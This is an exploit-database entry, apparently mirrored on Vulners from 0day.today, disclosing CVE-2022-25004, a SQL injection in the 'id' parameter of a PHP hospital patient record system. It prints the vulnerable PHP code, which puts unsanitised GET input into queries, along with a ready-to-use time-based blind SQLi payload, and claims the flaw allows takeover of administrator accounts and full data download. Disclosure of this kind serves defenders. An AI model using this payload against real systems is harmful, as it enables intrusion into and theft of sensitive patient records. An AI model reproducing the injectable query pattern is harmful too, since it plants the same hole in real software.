Lucene search
K

Hospital Patient Record Management System v1.0 SQL injection Vulnerability

🗓️ 01 Mar 2022 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 821 Views

Hospital Patient Record Management System v1.0 SQL injection Vulnerability found in /patients/view_patient.php allows attacker to take control of administrator accounts and download system information

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-25004
24 Feb 202219:15
attackerkb
CNNVD
Sourcecodester Hospital Patient Records Management System SQL注入漏洞
24 Feb 202200:00
cnnvd
CNVD
Sourcecodester Hospital Patient Records Management System SQL注入漏洞
28 Feb 202200:00
cnvd
CVE
CVE-2022-25004
24 Feb 202218:17
cve
Cvelist
CVE-2022-25004
24 Feb 202218:17
cvelist
EUVD
EUVD-2022-29750
3 Oct 202520:07
euvd
NVD
CVE-2022-25004
24 Feb 202219:15
nvd
OSV
CVE-2022-25004
24 Feb 202219:15
osv
Prion
Sql injection
24 Feb 202219:15
prion
RedhatCVE
CVE-2022-25004
23 May 202500:03
redhatcve
Rows per page
## Title: Hospital Patient Record Management System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-25004

## Description:
Hospital Patient Record Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in /patients/view_patient.php.
The `id` parameter from Hospital Patient Record Management System v1.0 appears to be vulnerable to SQL injection attacks. 
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL


## Vulnerable code:

```php
<?php 
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `patient_list` where id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
                $$k = $v;
        }

        $details = $conn->query("SELECT * FROM `patient_details` where patient_id ='{$id}' ");
        while($row = $details->fetch_assoc()){
            ${$row['meta_field']} = $row['meta_value'];
        }
    }else{
        echo "<script> alert('Unknown Patient ID.'); location.href = './?page=patients';</script>";
    }
}else{
    echo "<script> alert('Patient ID is required.'); location.href = './?page=patients';</script>";
}

$doctors_arr = [];
$doctors_qry = $conn->query("SELECT * FROM `doctor_list` where id in (SELECT doctor_id FROM `patient_history` where patient_id ='{$id}') ");
if($doctors_qry->num_rows > 0)
$doctors_arr = array_column($doctors_qry->fetch_all(MYSQLI_ASSOC),'fullname','id');

$room_arr = [];
$room_qry = $conn->query("SELECT * FROM `room_list` where id in (SELECT room_id FROM `admission_history` where patient_id ='{$id}') ");
if($room_qry->num_rows > 0)
$room_arr = array_column($room_qry->fetch_all(MYSQLI_ASSOC),'name','id');
?>
```

[+] Payloads:

```mysql
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4214 FROM (SELECT(SLEEP(5)))YwrA)-- gsSe&page=patients/view_patient
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-25004)

## Proof and Exploit:
[href](https://streamable.com/scki5d)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Mar 2022 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.5
CVSS 3.19.8
EPSS0.00322
821